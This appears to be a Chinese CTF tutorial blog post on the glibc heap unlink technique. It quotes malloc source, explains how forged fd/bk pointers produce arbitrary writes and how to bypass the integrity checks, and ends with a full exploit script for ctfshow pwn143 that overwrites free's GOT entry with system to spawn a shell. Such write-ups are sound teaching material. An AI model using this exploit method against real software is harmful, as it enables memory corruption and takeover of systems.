本文最后更新于 2026年1月4日 下午
参考
CTF-WIKI
Fake_chunk模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| add(0x40,b'aaaa') add(0x80,b'aaaa')
chunk_ptr = 0x006020C0 fakefd = chunk_ptr - 0x18 fakebk = chunk_ptr - 0x10
fake_chunk = p(0) fake_chunk += p(0x41) fake_chunk += p(fakefd) fake_chunk += p(fakebk) fake_chunk += junk(0x20)
fake_chunk += p(0x40) fake_chunk += p(0x90)
|
chunk结构

Unlink: 将一个空闲的 chunk 从双向链表中移除,更新BK、FD的bk、fd(BK、FD都是一个chunk)
简单来说将一个chunk从一个双向链表中删除,但是保证这个双向链表不被破坏
- fd:指向下一个空闲的 chunk
- bk:指向上一个空闲的 chunk
个人理解:
Unlink有点像连带责任,P走了,那么BK、FD就要必须更新新的信息
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect(FD->bk != P || BK->fd != P, 0)) malloc_printerr(check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range(P->size) && __builtin_expect(P->fd_nextsize != NULL, 0)) { if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
|
原理
1. 原先的双向链表

2. Unlink后的双向链表(Unlink(P))
也就说Unlink(P)
- BK->fd = P->fd = FD
- FD->bk = P->bk = BK
那也就说
当我们设置了P->bk的值,那么FD->bk也会被我们设置
当我们设置了P->fd的值,那么BK->fd也会被我们设置
而FD、BK又是由P->fd、P->bk来决定的
这就实现了任意内存写

a. fd != bk
P->fd = 0x1234
P->bk = 0x5678
那么
BK = 0x5678
FD = 0x1234
((size_t)BK+2) = P->fd == 0x1234
((size_t)FD+3) = P->bk == 0x5678
能看到,两个不同的地址*((size_t*)BK+2)``*((size_t*)FD+3),通过Unlink实现了覆写

b. fd = bk
P->fd = 0x1234
P->bk = 0x1234
BK = 0x1234
FD = 0x1234
((size_t)BK+2) = P->fd == 0x1234
((size_t)FD+3) = P->bk == 0x1234
- *((size_t*)chunk+2) = P->fd == 0x1234*
- *((size_t)chunk+3) = P->bk == 0x1234
依据这个特性,那么我们就可以实现定点写入

c. 定点
写入fd的位置
P->fd = target-1
P->bk = target
BK = target
FD = target-1
((size_t)BK+2) = P->fd
((size_t)FD+3) = P->bk
- *((size_t*)chunk+3) = P->fd
- *((size_t*)chunk+3) = P->bk

如果只考虑一个(FD或者BK的话)那么会更简单
比如说我只考虑BK
那么
P->fd = value
P->bk = target_addr
就是实现了
*((size_t*)target_addr+2) = value
反之:
P->fd = target_addr
P->bk = value
就是实现了
*((size_t*)target_addr+3) = value
再简化一下
只考虑BK
P->fd = value
P->bk = target_addr - 2
*((size_t*)target_addr) = value
只考虑FD
P->fd = target_addr - 3
P->bk = value
*((size_t*)target_addr) = value
3. 无check
在早期,是不存在检查的,也就说,直接通过P->fd、P->bk的设置,触发Unlink(P)就可以实现任意内存写的操作
4. check
现实很残酷,有洞,总要修的,但是洞是修不完的
1 2 3 4 5 6 7 8 9 10 11 12 13
| // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查) if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ // 检查 fd 和 bk 指针(双向链表完整性检查) if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
// largebin 中 next_size 双向链表完整性检查 if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV);
|
增加check后,我们来理解下fd、bk的检查
要想绕过check
FD->bk = P
BK->fd = P
(P->fd)->bk = P
(P->bk)->fd = P
来看看我们之前的图:绿色代表FD、BK能够通过check的指向,红色代表我们触发Unlink后FD、BK的指向
FD->bk = BK
BK->fd = FD
(P->fd)->bk = BK
(P->bk)->fd = FD

这样看,我们就可以通过定点这个知识点(上边)可以轻松解决
把BK和FD看成一个大的target_chunk,在target_chunk中BK和FD重合,且在target_chunk中存在P的地址就可以实现绕过了,上图理解下
target_chunk中存在P的地址

通过P->bk、P->fd布局,使得FD->bk = P、BK->fd = P

但是一般来说都是只知道P地址的存储地址,那么我们来转换一下

这样的结果是P_ptr被覆盖成了P->fd == P_Addr-3,至于为什么不是P_Addr-2
看源码我们能知道代码执行的先后顺序
FD->bk = BK
BK->fd = FD
触发
流程
伪造chunk(fake_chunk),
修改fake_chunk所在chunk的下一个chunk(这里叫next_chunk)的prev_size、size上的 P flag(通常默认是1),通过next_chunk的修改来设置fake_chunk的状态是free
- prev_size = fake_chunk->size(不包含P,即P=0)
- size = size-1 (如果size的个位上存在1)
next_chunk的size有要求,必须>= 90,即malloc(0x80)[amd64下]
不然回收的时候(free(next_chunk))会将next_chunk收到fastbin中,导致触发不了Unlink
- free(next_chunk):触发Unlink(P)
解释下
size上的P flag:PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。
prev_size:若前一个物理相邻的chunk是free chunk,则表示其大小。否则用于存储前一个chunk的数据
- 为什么free(next_chunk)会触发Unlink(P)呢?
首先我要知道在free(next_chunk)下发生了什么
1. next_chunk-> size = 0x91 (默认malloc(0x80)下),不属于fastbin,归于unsortedbin中
当chunk属于unsortedbin有个特点:如果当前chunk(now_chunk)前的chunk(prev_chunk)属于空闲(now_chunk->prev_size = prev_chunk->size(该size不包含P位)),则会向后合并,即prev_chunk和now_chunk合并,新的chunk位prev_chunk的地址
2. 调用free的时候发生了什么,我们来看一下源码(glibc-2.23_./malloc/malloc.c)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| void __libc_free(void *mem) { mstate ar_ptr; mchunkptr p;
void (*hook)(void *, const void *) = atomic_forced_read(__free_hook); if (__builtin_expect(hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS(0)); return; }
if (mem == 0) return;
p = mem2chunk(mem);
if (chunk_is_mmapped(p)) { if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) { mp_.mmap_threshold = chunksize(p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk(p); return; }
ar_ptr = arena_for_chunk(p); _int_free(ar_ptr, p, 0); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #define PREV_INUSE 0x1 #define prev_inuse(p) ((p)->size & PREV_INUSE) #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->size &= ~(PREV_INUSE))
if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long)prevsize)); unlink(av, p, bck, fwd); }
if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; }else clear_inuse_bit_at_offset(nextchunk, 0);
}
|
整理一下思路
- 在调用free的时候会先后检查prev_chunk;next_chunk是否在被使用
- 如果不被使用 && next_chunk != top_chunk;那么尝试调用Unlink
当然这是要满足非fastbin等情况下才会进入上诉两个过程
例题
ctfshowpwn143
add函数,可以看出它的布局


edit函数存在堆溢出

根据原理,我们来构造fake_chunk,并触发Unlink
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| elf = ELF('./pwn')
def show(): sla('choice:',str(1))
def Add(size,content): sla('choice:',str(2)) sla('length:',str(size)) sa('the name:',content)
def Edit(index,size,content): sla('choice:',str(3)) sla('index:',str(index)) sla('length of name:',str(size)) sa('the new name:',content)
def Del(index): sla('choice:',str(4)) sla('index:',str(index))
def Exit(): sla('choice:',str(5))
chunk_ptr = 0x6020A8 fakefd = chunk_ptr - 0x18 fakebk = chunk_ptr - 0x10
fake_chunk = p(0) fake_chunk += p(0x41) fake_chunk += p(fakefd) fake_chunk += p(fakebk) fake_chunk += junk(0x20)
fake_chunk += p(0x40) fake_chunk += p(0x90)
Add(0x40,b'aaaa') Add(0x80,b'aaaa') Add(0x10,b'/bin/sh\x00') Edit(0,len(fake_chunk),fake_chunk) Del(1)
payload = p(0) + p(0) + p(0x40) + p(elf.got['free'])
Edit(0,len(payload),payload) show() ru(' : ') func_addr = u(r(6).ljust(8,b'\x00')) lgs(hex(func_addr))
libc = LibcSearcher('free',func_addr)
libcBase = func_addr - libc.dump('free')
sysAddr,shellStr = SLSysBin(libc,libcBase)
payload = p(sysAddr) Edit(0,len(payload),payload)
Del(2)
inter()
|
代码解释

fakefd->List[1] - 0x18(3*8)
fakebk->List[1] - 0x10(2*8)
AMD64下size_t的大小为8、i386下size_t的大小为4